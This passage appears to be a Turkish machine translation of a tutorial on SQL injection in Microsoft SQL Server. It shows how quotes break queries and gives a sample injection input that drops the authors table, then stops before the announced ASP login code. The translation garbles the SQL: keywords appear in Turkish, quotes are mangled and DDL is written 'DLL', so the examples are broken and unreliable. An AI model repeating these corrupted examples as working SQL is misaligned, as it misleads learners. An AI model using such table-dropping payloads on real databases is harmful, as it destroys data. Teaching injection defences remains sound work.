Yapılandırılmış Sorgu Dili (SQL), veritabanlarıyla etkileşim kurmak için kullanılan yapılandırılmış bir dildir. SQL dilinin birçok "lehçesi" vardır, ancak bugün bunların çoğu, en eski ANSI standartlarından biri olan SQL-92 standardına dayanmaktadır. SQL'in ana işletim bloğu, genellikle bir sonuç kümesi döndüren bir ifadeler topluluğu olan bir sorgudur. SQL ifadeleri, veritabanlarının yapısını değiştirebilir (Veri Tanımlama Dili (DLL) ifadelerini kullanarak) ve içeriklerini değiştirebilir (Veri İşleme Dili (DML) ifadelerini kullanarak). Bu yazıda, Microsoft SQL Server'da kullanılan transact-SQL'e bakacağız.

SQL enjeksiyonu, bir saldırgan uygulamaya gönderilen verileri işlemek için kendi SQL'ini bir sorguya ekleyebildiğinde mümkündür.

Tipik bir SQL ifadesi şöyle görünür:

Yazarlardan kimlik, ad, soyadı seçin

Bu ifade, "yazarlar" tablosunun sütunlarından "id", "ad" ve "soyadı" alır ve tablodaki tüm satırları döndürür. Seçim, belirli bir "yazar" tarafından sınırlandırılabilir, örneğin:

Önadı = "john" ve soyadı = "demirci" olan yazarlardan kimlik, ad, soyadı seçin

Bu sorguda dize değişmezlerinin tek bir alıntı ile ayrıldığına dikkat edilmelidir. "Adı" ve "soyadı"nın kullanıcı girişi olduğu varsayılır. Bu durumda bir saldırgan uygulamaya kendi değerlerini ekleyerek kendi SQL sorgusuna girebilecektir. Örneğin:

Adı: jo "hn Soyadı: smith

O zaman ifade aşağıdaki formu alacaktır:

Önadı = "jo" hn "ve soyadı =" smith " olan yazarlardan id, ad, soyad seçin

Veritabanı böyle bir isteği işlemeye çalıştıktan sonra aşağıdaki hata döndürülür:

Sunucu: Mesaj 170, Seviye 15, Durum 1, Satır 1 Satır 1: "hn" yakınında yanlış sözdizimi.

Hatanın nedeni, girilen tek tırnak işaretinin sorgudaki sınırlayıcıların yapısını bozması olacaktır. Böylece, veritabanı "hn" komutunu çalıştırmayı deneyecek ve başarısız olacak ve bu da bir hataya neden olacaktır. Sonuç olarak, bir saldırgan aşağıdaki bilgileri forma girerse:

Adı: jo "; açılır tablo yazarları-- Soyadı:

"Yazarlar" tablosu kaldırılacak, bu yüzden nedenine daha sonra bakacağız.

Giriş formundan tek tırnakları kaldırırsak ve bunları "değiştirirsek", bu sorunumuzu çözebilir diye düşünebilirsiniz. Ve haklı olacaksınız, ancak bu yöntemi bu soruna bir çözüm olarak kullanmanın bazı sorunları var. İlk olarak, tüm kullanıcı girdileri "dizeler" değildir. Özel formun, genellikle bir sayı olan yazarın "kimliğini" içereceği yer. Örneğin, isteğimiz şöyle görünebilir:

id = 1234 olan yazarlardan id, ad, soyad seçin

Bu durumda, bir saldırgan, sayısal verilerden sonra herhangi bir SQL ifadesini kolayca ekleyebilir. SQL sorgularının diğer türlerinde farklı sınırlayıcılar kullanılır. Örneğin, Microsoft Jet DBMS'de sınırlayıcı "#" şeklindedir. İkincisi, tek tırnaklardan "kaçmak", ilk bakışta göründüğü gibi, kendinizi korumanın en kolay yolu değildir. Bunun hakkında daha sonra daha ayrıntılı konuşacağız.

Burada, bir uygulamada bir kullanıcıyı yetkilendirmek üzere bir veritabanına erişmek için SQL kullanan bir Active Server Pages (ASP) oturum açma sayfasına dayalı bir örnek verilmiştir.

Kullanıcı adı ve şifrenin girildiği giriş formunu içeren sayfanın kodu aşağıdadır.

Giriş sayfası

Giriş yapmak

Kullanıcı adı:
Parola:

Girilen verilerin doğruluğunu belirleyen kod (process_login.asp) aşağıdadır.